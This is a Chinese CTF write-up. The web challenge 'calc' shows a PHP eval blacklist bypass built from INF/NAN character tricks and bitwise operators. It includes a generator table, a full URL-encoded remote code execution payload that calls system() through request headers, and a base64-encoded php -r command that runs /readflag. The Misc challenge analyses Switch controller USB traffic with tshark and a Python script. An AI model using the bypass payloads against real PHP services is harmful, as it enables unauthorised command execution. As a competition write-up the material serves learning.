题目
-
-
- web
-
- calc
- Misc
-
- Switch PRO Controller
-
web
calc
抓包后发现数据发送至calc.php,访问该页面后,代码审计:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', "`", '\[', "\]","\$", '_', "\\\\",'\^', ","];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . "/im", $str)) {
die("what are you want to do?");
}
}
@eval('echo '.$str.';');
}
?>
可以看到,要绕过大小写字母a-z,不能用不可见字符,还有一些其他字符。
但值得注意的是运算符没有过滤
&
、
~
和
|
。
那么先打断一下,来看看这个小技巧:
<?php
$a = ((1/0).(1));
var_dump($a{0});
?>
得出来的结果就是字符
I
,因为
1/0
等于
INF
(无限大),
.(1)
就会将其变成一串字符串
INF1
,
$a{0}
为字符串的第一个字符,就是
I
。那么,我们可以得到
I、N、F
和
1、2、3、4、5、6、7、8、9、0
。
那么接下来的其他字符该怎么获取呢?用或运算和与运算。(取反可以参考P牛的这篇文章,但这里就别想了)
这里给出一份参考:
$cmd = "phpinfo";#要运行的命令
$fin="";
$tables=
[
"9" => "(((9).(0)){0})",
"8" => "(((8).(0)){0})",
"7" => "(((7).(0)){0})",
"6" => "(((6).(0)){0})",
"5" => "(((5).(0)){0})",
"4" => "(((4).(0)){0})",
"3" => "(((3).(0)){0})",
"2" => "(((2).(0)){0})",
"1" => "(((1).(0)){0})",
"0" => "(((0).(0)){0})",
"~" => "((((0).(0)){0})|(((0/0).(0)){0}))",
"}" => "((((4).(0)){0})|(((1/0).(0)){0}))",
"|" => "((((4).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
"{" => "((((2).(0)){0})|(((1/0).(0)){0}))",
"z" => "((((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
"y" => "((((0).(0)){0})|(((1/0).(0)){0}))",
"x" => "((((0).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
"w" => "((((1).(0)){0})|(((1/0).(0)){2}))",
"v" => "((((0).(0)){0})|(((1/0).(0)){2}))",
"u" => "((((4).(0)){0})|(((0/0).(0)){1}))",
"t" => "((((4).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
"s" => "((((2).(0)){0})|(((0/0).(0)){1}))",
"r" => "((((2).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
"q" => "((((0).(0)){0})|(((0/0).(0)){1}))",
"p" => "((((0).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
"o" => "((((0/0).(0)){0})|(((-1).(1)){0}))",
"n" => "((((0/0).(0)){0})|((((4).(0)){0})&(((-1).(1)){0})))",
"m" => "((((0/0).(0)){1})|(((-1).(1)){0}))",
"l" => "(((((0).(0)){0})|(((0/0).(0)){0}))&((((0/0).(0)){1})|(((-1).(1)){0})))",
"k" => "(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
"j" => "(((((0).(0)){0})|(((0/0).(0)){0}))&(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0}))))",
"i" => "((((0/0).(0)){1})|((((8).(0)){0})&(((-1).(1)){0})))",
"h" => "(((((8).(0)){0})&(((-1).(1)){0}))|((((0/0).(0)){0})&(((0/0).(0)){1})))",
"g" => "((((1/0).(0)){2})|((((1).(0)){0})&(((-1).(1)){0})))",
"f" => "((((1/0).(0)){2})|((((4).(0)){0})&(((-1).(1)){0})))",
"e" => "((((0/0).(0)){1})|((((4).(0)){0})&(((-1).(1)){0})))",
"d" => "(((((0).(0)){0})|(((1/0).(0)){2}))&((((0/0).(0)){1})|(((-1).(1)){0})))",
"c" => "(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
"b" => "(((((0).(0)){0})|(((0/0).(0)){0}))&(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((-1).(1)){0}))))",
"a" => "((((0/0).(0)){1})|((((1).(0)){0})&(((-1).(1)){0})))",
"`" => "(((((0).(0)){0})|(((0/0).(0)){0}))&((((0/0).(0)){1})|((((1).(0)){0})&(((-1).(1)){0}))))",
"O" => "((((0/0).(0)){0})|(((0/0).(0)){1}))",
"N" => "(((0/0).(0)){0})",
"M" => "(((((4).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
"L" => "((((0/0).(0)){0})&((((4).(0)){0})|(((1/0).(0)){0})))",
"K" => "(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
"J" => "((((0/0).(0)){0})&((((2).(0)){0})|(((1/0).(0)){0})))",
"I" => "(((1/0).(0)){0})",
"H" => "((((0/0).(0)){0})&(((1/0).(0)){0}))",
"G" => "((((0/0).(0)){1})|(((1/0).(0)){2}))",
"F" => "(((1/0).(0)){2})",
"E" => "(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
"D" => "((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))",
"C" => "(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
"B" => "((((0/0).(0)){0})&((((2).(0)){0})|(((0/0).(0)){1})))",
"A" => "(((0/0).(0)){1})",
"@" => "((((0/0).(0)){0})&(((0/0).(0)){1}))",
"?" => "((((2).(0)){0})|(((-1).(1)){0}))",
">" => "((((6).(0)){0})|(((8).(0)){0}))",
"=" => "((((0).(0)){0})|(((-1).(1)){0}))",
"<" => "((((4).(0)){0})|(((8).(0)){0}))",
";" => "((((2).(0)){0})|(((9).(0)){0}))",
":" => "((((2).(0)){0})|(((8).(0)){0}))",
"/" => "(((((2).(0)){0})|(((-1).(1)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
"." => "(((((6).(0)){0})|(((8).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
"-" => "(((-1).(1)){0})",
"," => "((((-1).(1)){0})&((((0).(0)){0})|(((0/0).(0)){0})))",
"+" => "(((((2).(0)){0})|(((9).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
"*" => "(((((2).(0)){0})|(((8).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
")" => "((((9).(0)){0})&(((-1).(1)){0}))",
"(" => "((((8).(0)){0})&(((-1).(1)){0}))",
"'" => "((((7).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
"&" => "((((6).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
"%" => "((((5).(0)){0})&(((-1).(1)){0}))",
"$" => "((((4).(0)){0})&(((-1).(1)){0}))",
"#" => "((((3).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
'"' => "((((2).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
"!" => "((((1).(0)){0})&(((-1).(1)){0}))"
];
for($i=0;$i<strlen($cmd);$i++) {
$fin = $fin.$tables[$cmd[$i]].'.';
}
echo substr($fin,0,strlen($fin)-1);
此时如果直接送入
eval('echo '.$str.';');
则只会输出phpinfo,不会进行解析。
下面是另一个知识:
<?php
$a = "(phpinfo)();";
eval($a);
?>
从P牛的文章可知,它的执行和
phpinfo();
是一样的,原因如下:
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsICM38FdsYkRGZkRG9lcvx2bjxiNx8VZ6l2cs0TPB1EMrpnTz0EROBDOsJGcohVYsR2MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnLzgDNzUDOyUTM1AjNwAjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
所以我们只要将输出的字符加上括号,在右边再加上括号,即可执行函数。
这里我们用
system(end(getallheaders()))
在headers添加一个参数来执行系统命令。
之后发现readflag文件,内容为:
然后用
perl
或
php -r ""
来执行文件即可获取flag。
wp的payload:
GET /calc.php?num=(((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(3))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(9))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(3))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D)).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%7C(((-1).(1))%7B0%7D)))(((((10000000000000000000).(1))%7B3%7D).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(6))%7B1%7D))).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(6))%7B1%7D))))((((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D)%26((~(((1).(8))%7B1%7D)%7C(((1).(7))%7B1%7D)))).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(1))%7B1%7D))).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D))).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D))).(((((10000000000000000000).(1))%7B3%7D)%7C(((1.1).(1))%7B1%7D))%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(0))%7B1%7D))).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(1))%7B1%7D))).((((10000000000000000000).(1))%7B3%7D)%26((~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(4))%7B1%7D))).(((10000000000000000000).(1))%7B3%7D).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(2))%7B1%7D)).((((10000000000000000000).(1))%7B3%7D)%26(~(((1).(7))%7B1%7D)%7C(((1).(0))%7B1%7D))%7C(((1).(3))%7B1%7D)))()))%3B HTTP/1.1
Host: 124.156.140.90:8081
z: php -r "eval(base64_decode('JHByb2Nlc3MgPSBwcm9jX29wZW4oDQogJy9yZWFkZmxhZycsDQogW1sicGlwZSIsICJyIl0sWyJwaXBlIiwgInciXSxbInBpcGUiLCAidyJdXSwkcGlwZXMNCik7DQpmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KJGV4cCA9IGZyZWFkKCRwaXBlc1sxXSwgMTAyNCk7DQokZXhwID0gZXhwbG9kZSgiXG4iLCAkZXhwKVswXTsNCmZ3cml0ZSgkcGlwZXNbMF0sIGV2YWwoInJldHVybiAkZXhwOyIpLiJcbiIpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KZWNobyBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0K'));"
只能说太菜了,顶不住。
Misc
Switch PRO Controller
题目给了一段视频,是输入flag的视频。还有一个流量包,打开发现是USB流量分析,再结合题目,可以知道,应该是switch手柄的流量。
我参考了这么两篇文章,一篇是DragonSectorCTF的,另一篇是github上关于switch连接的代码。
打开流量包,过滤条件设置为
frame.len==91
,筛选出有Leftover Capture Data的流量。并将其设置为单独一列。
然后再利用tshark工具,
tshark -r swi.pcapng -T fields -e "usb.capdata" >> a.hex
即可得到一个a.hex为该列的内容。
其中文章提到:
然后读取文件的这两个按钮,然后看着视频确定按下了哪个键,最后得到flag.(说实话,我这里并没有分析出哪些是switch的流量包,看的我很迷糊,以后有时间再进行分析吧)
第二种方法是wp,分析为json文件,然后逐帧选取键位,即可直接得到flag:
下面直接贴wp的脚本吧:
import ffmpeg
# install ffmpeg to your system and then pip3 install ffmpeg-python
import numpy
import cv2
import json
KEY_A = 0b00001000
TIMEDELTA = 3
JSON_FILE = 'easy.json'
VIDEO_FILE = 'easy.mp4'
# Timedelta can be calculated by when the first packet that
# means KEY_A pressed appears and when the first character
# appears on the textbox in the video
# It help us locate the KEY_A-Pressed frames in the video.
f = open(JSON_FILE, 'r', encoding='utf-8')
packets = json.loads(f.read())
f.close()
# filter the packets which means A is pressed and extract time and frameNo
buf = []
for packet in packets[735:]:
layers = packet['_source']['layers']
packetid = int(layers['frame']['frame.number'])
time = float(layers['frame']['frame.time_relative'])
try:
capdata = bytearray.fromhex(layers["usb.capdata"].replace(':', ' '))
if capdata[3] & KEY_A == KEY_A:
buf.append([packetid, time])
print(packetid, time, [bin(data)[2:] for data in capdata[3:6]])
except KeyError:
pass
print(buf)
# seperate sequences from filtered packets and calculate the average time for each sequence
time_avg = []
_lastid = buf[0][0]-2
_sum = 0
_sumcnt = 0
_cnt = 0
for data in buf:
_cnt += 1
if data[0]-_lastid==2 and _cnt!=len(buf):
_sum+=data[1]
_sumcnt+=1
else:
time_avg.append(_sum/_sumcnt)
_sum = 0
_sumcnt = 0
_lastid = data[0]
print(time_avg)
# extract frames from the video one by one
for t in time_avg:
out, err = (
ffmpeg.input(VIDEO_FILE, ss=t)
.output('pipe:', vframes=1, format='image2', vcodec='mjpeg')
.run(capture_stdout=True)
)
image_array = numpy.asarray(bytearray(out), dtype="uint8")
image = cv2.imdecode(image_array, cv2.IMREAD_COLOR)
cv2.imshow('time={}'.format(t), image)
cv2.moveWindow('time={}'.format(t), 0, 0)
if cv2.waitKey(0) == 27:
break
else:
cv2.destroyAllWindows()